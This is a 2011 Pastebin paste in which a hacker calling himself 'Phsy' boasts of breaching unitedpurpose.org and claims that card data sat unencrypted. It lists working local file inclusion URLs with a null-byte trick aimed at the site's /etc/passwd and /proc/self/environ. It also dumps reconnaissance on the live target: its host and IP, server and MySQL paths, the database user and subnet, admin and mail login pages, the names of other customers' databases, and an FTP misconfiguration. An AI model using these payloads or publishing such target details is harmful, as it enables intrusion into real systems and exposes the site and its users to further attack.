Phsy

Unitedpurpose hacked by Phsy

Sep 9th, 2011
593
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1.  
  2. We decided to test United purpose's security(dumped), instead of using advanced ways we used simplistic methods etc.. have a look at this ragard old website(unitedpurpose.org). & credit cards unencrypted. ;D hacked/rooted by Phsy - https://twitter.com/#!/stramble
  3. (no website activity snce 2005) ~~hehehe
  4.  
  5. ---
  6.  
  7.  
  8.  
  9. file inclusions LFI/RFI:
  10.  
  11. http://www.unitedpurpose.org/archive/article.php?id=../../../../../../etc/passwd%00
  12. http://www.unitedpurpose.org/archive/article.php?id=../../../../../../proc/self/environ%00
  13.  
  14. poison null byte on the end.
  15. logs etc etc etc.....
  16.  
  17.  
  18.  
  19. host: apache2-argon.spiderman.dreamhost.com - U.S, Jupiter, New Dream Network Llc.
  20. IP address: 75.119.206.212
  21. web-server: Apache 2.*
  22. server-directory: /home/hokkei/unitedpurpose.org/
  23.  
  24. --
  25.  
  26. admin: http://www.unitedpurpose.org/admin/login.php
  27. email: http://mail.unitedpurpose.org/
  28.  
  29. --
  30.  
  31. db: MySQL 5.1.39
  32. mysql-directory: /data/mysql/akbari/
  33.  
  34. hostname: snapper
  35. db-user: hokkei @ 67.205.0.0/255.255.192.0
  36.  
  37.  
  38.  
  39. databases:
  40.  
  41. information_schema
  42. acousticabsorber
  43. arenaacousticproducts
  44. carmenli
  45. churchacousticalmaterials
  46. fishandhotwings_com
  47. fivegospelpillars
  48. gracedentalcentre
  49. greensound
  50. leedacousticmaterials
  51. newpiano
  52. osteolab
  53. scitech
  54. singularityonline
  55. technaturejoom
  56. updb
  57. vote_long_com
  58. vote_long_com_1
  59.  
  60.  
  61. --
  62. FTP has a misconfigurated httpd' file (error id: "bad_httpd_conf") ;D
  63.  
  64. http://ftp.unitedpurpose.org/
  65.  
  66.  
  67.  
  68.  
  69.  
  70. ------unknown
Add Comment
Please, Sign In to add comment